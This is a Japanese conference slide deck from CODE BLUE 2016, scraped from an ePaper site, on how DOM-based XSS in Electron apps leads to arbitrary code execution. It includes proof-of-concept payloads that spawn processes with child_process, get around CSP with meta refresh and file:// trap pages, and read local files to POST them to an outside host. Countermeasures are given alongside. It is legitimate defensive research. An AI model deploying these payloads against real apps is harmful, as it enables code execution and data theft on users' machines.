22.10.2016 Views

ELECTRON

cb-hasegawa-ja

cb-hasegawa-ja

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>ELECTRON</strong><br />

Build cross platform desktop XSS<br />

It’s easier than you think<br />

Secure Sky Technology Inc.<br />

Yosuke HASEGAWA


Yosuke HASEGAWA @hasegawayosuke<br />

Secure Sky Technology Inc. Technical Advisor<br />

OWASP Kansai Chapter Leader<br />

OWASP Japan Chapter board member<br />

CODE BLUE Review board member<br />

http//utf-8.jp/ Author of jjencode, aaencode<br />

Talked at Black Hat Japan 2008, KOREA POC 2008,<br />

POC 2010, OWASP AppSec APAC 2014 and others.<br />

Found many vulns of IE, Firefox and others.<br />

Secure Sky Technology Inc. CODE BLUE 2016


What's Electron ?<br />

GitHub 社 によって 開 発 された、クロスプラット<br />

フォームなデスクトップアプリケーションを 開 発<br />

するためのフレームワーク<br />

HTML+JavaScriptでアプリケーションを 作 成 で<br />

きる<br />

多 くのアプリケーションで 使 用 実 績<br />

Secure Sky Technology Inc. CODE BLUE 2016


What's Electron ?<br />

HTML + JavaScript = Native Apps<br />

Microsoft HTML Application (*.hta)<br />

Firefox OS<br />

Apache Cordova / Adobe PhoneGap<br />

Chrome Apps<br />

Electron / NW.js<br />

Electron<br />

Cross platform<br />

バイナリのビルドが 可 能<br />

Secure Sky Technology Inc. CODE BLUE 2016


What's Electron ?<br />

Node.jsとChromiumをランタイムとして 内 包<br />

メインプロセス<br />

アプリケーション 全 体 を 統 括 。node.jsそのもの<br />

レンダラプロセス<br />

Chromium+node.js<br />

Electron Apps<br />

main<br />

process<br />

IPC<br />

renderer<br />

process<br />

Secure Sky Technology Inc. CODE BLUE 2016


What's Electron ?<br />

{<br />

}<br />

Electron Apps<br />

"name" : "Apps name",<br />

"version" : "0.1",<br />

"main" : "main.js"<br />

index.html<br />

<br />

...<br />

<br />

...<br />

<br />

<br />

{json}<br />

main<br />

process<br />

IPC<br />

renderer<br />

process<br />

package.json<br />

let win = new BrowserWindow( {width:840,height:700} );<br />

win.loadURL( `file://${__dirname}/index.html` );<br />

main.js<br />

Secure Sky Technology Inc. CODE BLUE 2016


What's Electron ?<br />

レンダラではブラウザ 内 でnode.jsが 動 く<br />

node 機 能 は 無 効 にもできる。デフォルト 有 効 。<br />

<br />

<br />

const fs = require( "fs" );<br />

function foo(){<br />

fs.readFile( "./test.txt", { encoding: "utf-8" },<br />

(err, data) => {<br />

document.getElementById("main").textContent = data;<br />

}<br />

);<br />

}<br />

<br />

<br />

<br />

<br />

Secure Sky Technology Inc. CODE BLUE 2016


Electronアプリのセキュリティ 対 策<br />

Secure Sky Technology Inc. CODE BLUE 2016


Electronアプリのセキュリティ 対 策<br />

おおきく3 種 類 の 問 題 に 分 けられる<br />

Webアプリとしてのセキュリティ 対 策<br />

レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />

ローカルアプリとしてのセキュリティ 対 策<br />

レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />

のアプリケーション 同 様 の 対 策<br />

Electron 固 有 のセキュリティ 対 策<br />

様 々なElectronの 機 能 に 対 する 対 策<br />

Secure Sky Technology Inc. CODE BLUE 2016


Electronアプリのセキュリティ 対 策<br />

おおきく3 種 類 の 問 題 に 分 けられる<br />

Webアプリとしてのセキュリティ 対 策<br />

レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />

ローカルアプリとしてのセキュリティ 対 策<br />

レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />

のアプリケーション 同 様 の 対 策<br />

Electron 固 有 のセキュリティ 対 策<br />

様 々なElectronの 機 能 に 対 する 対 策<br />

Secure Sky Technology Inc. CODE BLUE 2016


Webアプリとしてのセキュリティ 対 策<br />

レンダラプロセス : Chromium + node.js<br />

DOM 操 作 が 多 くなりがち<br />

DOM-based XSSが 発 生 しやすい<br />

JavaScriptによるオープンリダイレクタ<br />

従 来 のWebアプリ 同 様 のフロントエンドのセキュ<br />

リティ 対 策 が 必 要<br />

Secure Sky Technology Inc. CODE BLUE 2016


Webアプリとしてのセキュリティ 対 策<br />

DOM-based XSSが 発 生 しやすい<br />

DOM 操 作 が 多 い<br />

そもそもDOM-based XSSは 見 つけにくい<br />

fs.readFile( filename, (err,data) => {<br />

if(!err) element.innerHTML = data; //XSS!<br />

});<br />

fs.readdir( dirname, (err,files) => {<br />

files.forEach( (filename) => {<br />

let elm = document.createElement( "div" );<br />

elm.innerHTML =<br />

`${filename}`; //XSS!<br />

paerntElm.appendChild( elm );<br />

});<br />

});<br />

Secure Sky Technology Inc. CODE BLUE 2016


Webアプリとしてのセキュリティ 対 策<br />

DOM-based XSSが 発 生 すると 致 命 的 な 被 害<br />

攻 撃 者 のインジェクトしたコード 内 でもnode 機 能 が<br />

利 用 可 能 な 場 合 が 多 い<br />

XSS = alert だけではない<br />

ローカルファイルの 読 み 書 き<br />

任 意 プロトコルでの 通 信<br />

他 アプリへの 干 渉<br />

任 意 プロセスの 生 成<br />

つまり、DOM-based XSSをきっかけに 任 意 の<br />

コード 実 行 が 可 能 となる<br />

Secure Sky Technology Inc. CODE BLUE 2016


Webアプリとしてのセキュリティ 対 策<br />

従 来 のWebアプリ<br />

ニセ 情 報 の 表 示 、Cookieの 漏 えい、Webサイト 内 の<br />

情 報 の 漏 えい…<br />

「 該 当 Webサイト 内 」でJSができること 全 て<br />

該 当 Webサイトを 超 えては 何 もできない<br />

ブラウザに 守 られている … サンドボックス<br />

脆 弱 性 があっても 自 身 のWebサイト 以 外 への 影 響<br />

はない<br />

サイト 運 営 者 が 責 任 を 持 てる 範 囲 でしか 被 害 が 発<br />

生 しない<br />

Secure Sky Technology Inc. CODE BLUE 2016


Webアプリとしてのセキュリティ 対 策<br />

ElectronにおけるXSS<br />

アプリを 使 っているユーザーの 権 限 での 任 意 コード<br />

の 実 行<br />

PC 内 でそのユーザーができること 全 て<br />

既 存 アプリケーションの 破 壊<br />

オンラインバンキング 用 アプリの 改 ざん、 盗 聴<br />

マルウェア 感 染 、 配 信<br />

該 当 アプリケーションの 範 囲 を 超 えて 何 でもできる<br />

開 発 者 の 責 任 の 重 みがまったく 変 わってくる<br />

Secure Sky Technology Inc. CODE BLUE 2016


Webアプリとしてのセキュリティ 対 策<br />

Electronアプリに 対 する 攻 撃 に 対 して<br />

Webサイト 改 ざんのJavaScript<br />

難 読 化 されていても 最 終 的 にはDOM 操 作<br />

やの 挿 入 を 探 す<br />

Electronに 対 する 攻 撃 用 JavaScript<br />

どのような 処 理 でも 可 能 性 として 存 在<br />

挙 動 を 詳 細 に 調 査 する 必 要 がある<br />

解 析 する 側 の 技 術 も 未 成 熟<br />

Secure Sky Technology Inc. CODE BLUE 2016


Electronアプリのセキュリティ 対 策<br />

おおきく3 種 類 の 問 題 に 分 けられる<br />

Webアプリとしてのセキュリティ 対 策<br />

レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />

ローカルアプリとしてのセキュリティ 対 策<br />

レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />

のアプリケーション 同 様 の 対 策<br />

Electron 固 有 のセキュリティ 対 策<br />

様 々なElectronの 機 能 に 対 する 対 策<br />

Secure Sky Technology Inc. CODE BLUE 2016


ローカルアプリとしてのセキュリティ 対 策<br />

ローカルアプリのセキュリティ 対 策 も 必 要<br />

symlink 攻 撃<br />

レースコンディション<br />

暗 号 の 不 適 切 な 利 用<br />

過 大 なアクセス 権 限<br />

機 密 情 報 が644など<br />

ファイル 名 の 別 名 表 記<br />

8.3 形 式 、ADS(file.txt::$DATA)など<br />

その 他 諸 々<br />

Webアプリとは 異 なる 知 識 背 景<br />

プラットフォーム 固 有 の 知 識 も 必 要<br />

Secure Sky Technology Inc. CODE BLUE 2016


Electronアプリのセキュリティ 対 策<br />

おおきく3 種 類 の 問 題 に 分 けられる<br />

Webアプリとしてのセキュリティ 対 策<br />

レンダラはブラウザ。DOM-based XSS 対 策 が 必 要<br />

ローカルアプリとしてのセキュリティ 対 策<br />

レースコンディションや 不 適 切 な 暗 号 など、 古 くから<br />

のアプリケーション 同 様 の 対 策<br />

Electron 固 有 のセキュリティ 対 策<br />

様 々なElectronの 機 能 に 対 する 対 策<br />

Secure Sky Technology Inc. CODE BLUE 2016


Electron 固 有 のセキュリティ 対 策<br />

個 々のAPIを 使 う 上 での 注 意 点<br />

tag<br />

shell.openExternal<br />

Electronのアーキテクチャ 上 の 問 題 点<br />

BrowserWindowは 通 常 "file://" をロードする<br />

ブラウザと 異 なりアドレスバーが 存 在 しない<br />

Secure Sky Technology Inc. CODE BLUE 2016


Deep dive into<br />

DbXSS of Electron<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS<br />

ソースをエスケープせずにシンクに 与 えることで<br />

JS 上 で 発 生 するXSS<br />

ソース: 攻 撃 者 の 与 えた 文 字 列<br />

シンク: 文 字 列 からHTMLを 生 成 したりコードとして<br />

実 行 する 箇 所<br />

location.hash<br />

location.href<br />

location.search<br />

postMessage<br />

xhr.responseText<br />

document.referrer<br />

window.name<br />

ソース 処 理 シンク<br />

document.write eval<br />

location.href Function<br />

setInterval<br />

setTimeout<br />

innerHTML<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS<br />

従 来 のXSSでの 被 害<br />

alertの 表 示<br />

elm.innerHTML = "";<br />

Webアプリ 内 に 偽 情 報 を 表 示<br />

elm.innerHTML = "ログイン:";<br />

Cookieの 奪 取<br />

elm.innerHTML = "";<br />

Webアプリ 内 の 機 密 情 報 の 奪 取<br />

elm.innerHTML = "";<br />

他 には?<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS on Electron apps<br />

レンダラ 上 でnode 機 能 がデフォルト 有 効<br />

// xss_source は 攻 撃 者 がコントロール 可 能 な 文 字 列<br />

elm.innerHTML = xss_source; // XSS!<br />

<br />

<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS on Electron apps<br />

任 意 コード 実 行 が 可 能 - まるでバッファオーバーフロー<br />

“<br />

XSS: The New Buffer Overflow<br />

In many respects, an XSS vulnerability is<br />

just as dangerous as a buffer overflow.<br />

多 くの 点 から 見 て、XSS 脆 弱 性 の 危 険 性 はバッファ<br />

オーバーフローに 匹 敵 します。<br />

”<br />

"Security Briefs: SDL Embraces The Web", Apr. 2008<br />

http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e<br />

n-us/magazine/cc794277.aspx<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS on Electron apps<br />

ソースをエスケープせずにシンクに 与 えることで<br />

JS 上 で 発 生 するXSS<br />

ソース: 攻 撃 者 の 与 えた 文 字 列<br />

シンク: 文 字 列 からHTMLを 生 成 したりコードとして<br />

実 行 する 箇 所<br />

location.hash<br />

location.href<br />

location.search<br />

postMessage<br />

xhr.responseText<br />

document.referrer<br />

window.name<br />

ソース 処 理 シンク<br />

document.write eval<br />

location.href Function<br />

setInterval<br />

setTimeout<br />

innerHTML<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS on Electron apps<br />

ソースをエスケープせずにシンクに 与 えることで<br />

JS 上 で 発 生 するXSS<br />

ソース: 攻 撃 者 の 与 えた 文 字 列<br />

シンク: 文 字 列 からHTMLを 生 成 したりコードとして<br />

実 行 する 箇 所<br />

location.hash<br />

location.href<br />

location.search<br />

postMessage<br />

ファイルの 内 容<br />

xhr.responseText<br />

document.referrer<br />

window.name<br />

ソース 処 理 シンク<br />

document.write eval<br />

location.href Function<br />

setInterval<br />

setTimeout<br />

innerHTML<br />

ユーザ 名 ファイル 名 ログの 内 容<br />

データベース コンピュータ 名<br />

require<br />

webView<br />

webFrame.executeJavaScript<br />

Secure Sky Technology Inc. CODE BLUE 2016


DOM-based XSS on Electron apps<br />

従 来 のWebアプリでは 存 在 しなかったソース<br />

HTTPやWebと 無 関 係 なあらゆるデータがXSSソー<br />

スとなり 得 る<br />

シンクはそれほど 増 えていない<br />

requireなどに 動 的 な 引 数 を 与 えることは 通 常 ない<br />

ソースを 意 識 するのではなく、シンクへ 渡 す 際 に<br />

エスケープすることが 重 要<br />

適 切 なDOM 操 作 (textContent、setAttribute 等 )<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

XSS 対 策 としてレンダラにCSPを 適 用 することは<br />

効 果 があるのか<br />

<br />

renderer<br />

<br />

<br />

<br />

<br />

<br />

//index.js<br />

elm.innerHTML = xss_source; // XSS!<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

<br />

renderer<br />

<br />

<br />

<br />

<br />

<br />

//index.js<br />

elm.innerHTML = xss_source; // XSS!<br />

meta refreshはCSPによって 制 限 されない<br />

xss_source =<br />

'';<br />

レンダラで 開 かれる。レンダラ 内 ではnode 機 能 が 利 用 可 能 。<br />

<br />

require('child_process').exec('calc.exe',null);<br />

<br />

http://evil.utf-8.jp/<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

Another pattern<br />

<br />

renderer<br />

<br />

<br />

<br />

<br />

<br />

<br />

//index.js<br />

iframe.setAttribute("src", xss_source); // XSS?<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

Another pattern<br />

<br />

renderer<br />

<br />

<br />

<br />

<br />

<br />

<br />

//index.js<br />

iframe.setAttribute("src", xss_source); // XSS!<br />

origin === 'file://'<br />

app.on('ready', () => {<br />

win = new BrowserWindow({width:600, height:400} );<br />

win.loadURL(`file://${__dirname}/index.html`);<br />

....<br />

main.js<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

<br />

renderer<br />

<br />

<br />

<br />

<br />

<br />

<br />

//index.js<br />

iframe.setAttribute("src", xss_source); // XSS!<br />

originが"file://"なので 攻 撃 者 のファイルサーバも 同 じオリジン<br />

xss_source = 'file://remote-server/share/trap.html';<br />

top level windowではnode 機 能 が 使 える<br />

window.top.location=`data:text/html,<br />

file://remote-server/share/trap.html<br />

require('child_process').exec('calc.exe',null);`;<br />

Secure Sky Technology Inc. CODE BLUE 2016


Content Security Policy<br />

CSPによってリソースの 読 み 込 みを 制 限 しても<br />

meta refreshによってページ 遷 移 が 可 能<br />

レンダラ 内 を 攻 撃 者 の 用 意 した 罠 ページに 遷 移<br />

攻 撃 者 の 用 意 した 罠 ページではもちろんCSPは 効<br />

かない<br />

"file://"なので 攻 撃 者 のリソースも 同 一 オリジン<br />

になる<br />

iframeやscriptソースを 埋 め 込 みやすい<br />

レンダラ 内 ではnode 機 能 が 使 える<br />

結 論 :CSPではXSSの 脅 威 を 軽 減 できない<br />

Secure Sky Technology Inc. CODE BLUE 2016


レンダラでのnodeの 無 効 化<br />

Secure Sky Technology Inc. CODE BLUE 2016


レンダラでのnodeの 無 効 化<br />

レンダラのnodeを 無 効 にすれば 脅 威 は 低 減<br />

app.on('ready', () => {<br />

main.js<br />

win = new BrowserWindow(<br />

{ webPreferences:{nodeIntegration:false} });<br />

win.loadURL(`file://${__dirname}/index.html`);<br />

....<br />

BrowserWindow 生 成 時 に 明 示 的 に 無 効 を 指 定 す<br />

る 必 要 がある。デフォルト 有 効 。<br />

Secure Sky Technology Inc. CODE BLUE 2016


レンダラでのnodeの 無 効 化<br />

レンダラではデフォルトでnode 機 能 が 有 効 に<br />

なっている<br />

明 示 的 にnodeを 無 効 にしなければ 有 効 のまま<br />

レンダラでnodeを 無 効 にすると、Electronアプリと<br />

して 実 用 的 なことが 出 来 なくなる<br />

それでもnode 無 効 化 は 効 果 があるのか?<br />

Secure Sky Technology Inc. CODE BLUE 2016


レンダラでのnodeの 無 効 化<br />

node 無 効 のJSでどこまでの 攻 撃 が 可 能 か<br />

app.on('ready', () => {<br />

win = new BrowserWindow(<br />

{ webPreferences:{nodeIntegration:false} });<br />

win.loadURL(`file://${__dirname}/index.html`);<br />

....<br />

そもそもオリジンがfile://になっている<br />

XHR 等 でローカルファイルの 読 み 取 りが 可 能<br />

var xhr = new XMLHttpRequest();<br />

xhr.open( "GET", "file://c:/file.txt", true );<br />

xhr.onload = () => {<br />

fetch( "http://example.jp/",<br />

{ method:"POST",body:xhr.responseText } );<br />

};<br />

xhr.send( null );<br />

Secure Sky Technology Inc. CODE BLUE 2016


レンダラでのnodeの 無 効 化<br />

明 示 的 に 指 定 することでnodeを 無 効 化 できる<br />

nodeを 無 効 化 にするとアプリとして 実 用 的 なこ<br />

とは 出 来 なくなる<br />

nodeを 無 効 にしてもローカルファイルの 読 み 取<br />

りは 可 能<br />

Secure Sky Technology Inc. CODE BLUE 2016


iframe sandbox<br />

Secure Sky Technology Inc. CODE BLUE 2016


iframe sandbox<br />

アプリケーションとしてDOM 操 作 する 対 象 を<br />

内 のみに 限 定 する<br />

iframeを 外 から 操 作<br />

<br />

....<br />

document.querySelector("#sb")<br />

.contentDocument.querySelector("#msg").innerHTML =<br />

"Hello, XSS!alert(1)"; // not work<br />

iframe 内 でDbXSSが 発 生 しても 被 害 を 抑 えられる<br />

Secure Sky Technology Inc. CODE BLUE 2016


DbXSSの 緩 和 - <br />

代 表 的 なもの<br />

allow-forms<br />

allow-scripts<br />

allow-same-origin<br />

allow-top-navigation<br />

allow-popups<br />

- フォームの 実 行 を 許 可<br />

- スクリプトの 実 行 を 許 可<br />

- 同 一 オリジン 扱 いを 許 可<br />

- topへの 干 渉 を 許 可<br />

- ポップアップを 許 可<br />

allow-scriptsを 指 定 するのは 危 険<br />

iframe 内 で 普 通 にJSが 動 く<br />

allow-top-navigation、allow-popupsも 危 険<br />

Secure Sky Technology Inc. CODE BLUE 2016


<br />

...<br />

var xss = `Click`;<br />

document.querySelector("#sb")<br />

.contentDocument.querySelector("#msg").innerHTML = xss;<br />

popupによって 生 成 されたBrowserWindowでは、node<br />

機 能 が 有 効 な 状 態 でJavaScriptが 動 く<br />

Click<br />

(iframe)<br />

data:text/html,<br />

require(...)<br />

0<br />

← CE C ± √<br />

7 8 9 / %<br />

4 5 6 * 1/x<br />

1 2 3 -<br />

0 . +<br />

=<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

他 のサイトをレンダラ 内 に 埋 め 込 む<br />

iframeと 異 なりwebview 内 から 外 側 は 完 全 に 見 え<br />

ない(window.topなど)<br />

<br />

外 からも 簡 単 にはDOM 操 作 できない<br />

(iframe.contentWindowのようなものはない)<br />

webviewごとにnode 機 能 の 有 無 を 指 定 可 能<br />

<br />

allowpopups 属 性 により 新 しいウィンドウの 生 成 を<br />

許 可<br />

<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

window.open()、などで 新<br />

しく 開 かれたウィンドウ<br />

iframeとwebviewではnodeの 有 効 ・ 無 効 は 異 なる<br />

レンダラ (node 有 効 )<br />

<br />

nodeは 常 に 無 効<br />

レンダラ (node 有 効 )<br />

<br />

node 無 効<br />

レンダラ (node 有 効 )<br />

<br />

node 有 効<br />

新 しいレンダラ<br />

(node 有 効 )<br />

新 しいレンダラ<br />

(node 無 効 )<br />

新 しいレンダラ<br />

(node 有 効 )<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

nodeは 無 効 にしpreload 機 能 を 使 うほうが 安 全<br />

<br />

<br />

preload script 内 ではnode 無 効 のwebview 内 で<br />

あってもnode 機 能 が 利 用 可 能<br />

//preload.js<br />

window.loadConfig = function(){<br />

let file = `${__dirname}/config.json`;<br />

let s = require("fs").readFileSync( file, "utf-8" );<br />

return JSON.eval( s );<br />

};<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

よくあるケース<br />

既 存 のWebアプリのネイティブアプリ 化<br />

内 に 既 存 のWebアプリを 埋 め 込 み<br />

<br />

<br />

<br />

<br />

Code Blue SNS<br />

Ads<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

よくあるケース<br />

既 存 のWebアプリのネイティブアプリ 化<br />

内 に 既 存 のWebアプリを 埋 め 込 み<br />

<br />

<br />

<br />

<br />

webview<br />

Code Blue SNS<br />

Ads<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

よくあるケース<br />

既 存 のWebアプリのネイティブアプリ 化<br />

内 に 既 存 のWebアプリを 埋 め 込 み<br />

<br />

<br />

<br />

<br />

webview<br />

Code Blue SNS<br />

webview 内 に3rd partyの<br />

広 告 が 入 る<br />

Ads<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

webview 内 に3rd partyの 広 告 が 入 る 場 合<br />

広 告 JSもwebview 内 で 自 由 にコード 実 行<br />

webviewでnodeが 有 効 な 場 合 は 広 告 JSもnode<br />

機 能 も 使 える<br />

nodeが 無 効 な 場 合 でもwindow.top 経 由 で 全 画<br />

面 書 き 換 え、 偽 ログイン 画 面 の 表 示 などはできる<br />

悪 意 ある 広 告 、 配 信 サーバの 汚 染 など…<br />

// load fake login page<br />

window.top = "http://evil.utf-8.jp/";<br />

Code Blue SNS<br />

User:<br />

Pass:<br />

Secure Sky Technology Inc. CODE BLUE 2016


tag<br />

対 策 : 広 告 はiframe sandbox 内 に 表 示<br />

topへの 干 渉 を 防 ぐ<br />

JS 埋 め 込 み 型 の 広 告 だと 対 策 できない<br />

Webアプリ<br />

オリジンを 超 えて 広 告 がWebアプリへ 影 響 を 与 えること<br />

はない<br />

ユーザーはアドレスバーで 正 規 サイトか 確 認 できる<br />

Electronアプリ<br />

iframe 内 の 広 告 でもnode 機 能 が 有 効 なら 悪 意 ある<br />

コードが 実 行 可 能<br />

アドレスバーがないので 正 規 サイトかの 確 認 ができない<br />

Secure Sky Technology Inc. CODE BLUE 2016


window.open from <br />

allowpopups 属 性<br />

window.openでpopupが 可 能 になる<br />

<br />

window.openでは"file:"スキームも 指 定 可 能<br />

// http://example.jp<br />

window.open("file://remote-server/share/trap.html");<br />

攻 撃 者 はファイルサーバを 経 由 することで"file://"<br />

オリジンのスクリプトを 動 作 させ、ローカルファイルを<br />

読 み 取 ることが 可 能<br />

// file://remote-server/share/trap.html<br />

var xhr = new XMLHttpRequest();<br />

xhr.open( "GET", "file://C:/secret.txt", true );<br />

Secure Sky Technology Inc. CODE BLUE 2016


window.open from <br />

対 策<br />

allowpopups 属 性 をつけない<br />

または、main.js 側 でURLを 検 査<br />

// main.js<br />

app.on('browser-window-created', (evt, window) => {<br />

window.webContents.on('new-window', (evt,url) => {<br />

let protocol = require('url').parse(url).protocol;<br />

if (!protocol.match( /^https?:/ )) {<br />

evt.defaultPrevented = true;<br />

console.log( "invalid url", url );<br />

}<br />

});<br />

});<br />

Secure Sky Technology Inc. CODE BLUE 2016


shell.openExternal<br />

shell.openItem<br />

Secure Sky Technology Inc. CODE BLUE 2016


shell.openExternal, shell.openItem<br />

URLや 拡 張 子 に 対 応 した 外 部 プログラムを 起 動<br />

const {shell} = require( 'electron' );<br />

const url = 'http://example.jp/';<br />

shell.openExternal( url ); // OS 標 準 のブラウザが 起 動<br />

shell.openItem( url );<br />

let file = 'C:/Users/hasegawa/test.txt';<br />

shell.openExternal( file ); // OS 標 準 の 方 法 でファイルを 開 く<br />

shell.openItem( file );<br />

let filename = 'file://C:/Users/hasegawa/test.txt';<br />

shell.openExternal( file ); // OS 標 準 の 方 法 でファイルを 開 く<br />

shell.openItem( file );<br />

Secure Sky Technology Inc. CODE BLUE 2016


shell.openExternal, shell.openItem<br />

よくあるケース<br />

webviewからのwindow.openなどをOS 標 準 のブ<br />

ラウザで 開 く<br />

webview.on( 'new-window', (e) => {<br />

shell.openExternal( e.url ); // OS 標 準 のブラウザで 開 く<br />

});<br />

攻 撃 者 がURLを 細 工 できる 場 合 、 任 意 のコマンドを<br />

起 動 可 能<br />

Click<br />

コマンドに 引 数 は 渡 せない<br />

Secure Sky Technology Inc. CODE BLUE 2016


shell.openExternal, shell.openItem<br />

shell.openExternal、shell.openItemには 任<br />

意 のURLが 渡 らないよう 確 認 が 必 要<br />

if (url.match( /^https?:¥/¥// )) {<br />

shell.openExternal( url ); //ブラウザで 開 く<br />

}<br />

Secure Sky Technology Inc. CODE BLUE 2016


Conclusion<br />

Secure Sky Technology Inc. CODE BLUE 2016


Conclusion<br />

domXss().then( die ); // ACE<br />

nodeが 有 効 なコンテキストで 外 部 のスクリプト<br />

が 動 かないよう 細 心 の 注 意 が 必 要<br />

file:スキームで 外 部 のスクリプトが 動 かないよう<br />

細 心 の 注 意 が 必 要<br />

攻 撃 者 は 罠 ファイルサーバを 利 用 可 能<br />

Secure Sky Technology Inc. CODE BLUE 2016


Question ?<br />

hasegawa@utf-8.jp<br />

@hasegawayosuke<br />

http://utf-8.jp/<br />

Credits to<br />

@harupuxa, @kinugawamasato, nishimunea<br />

Secure Sky Technology Inc. CODE BLUE 2016

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!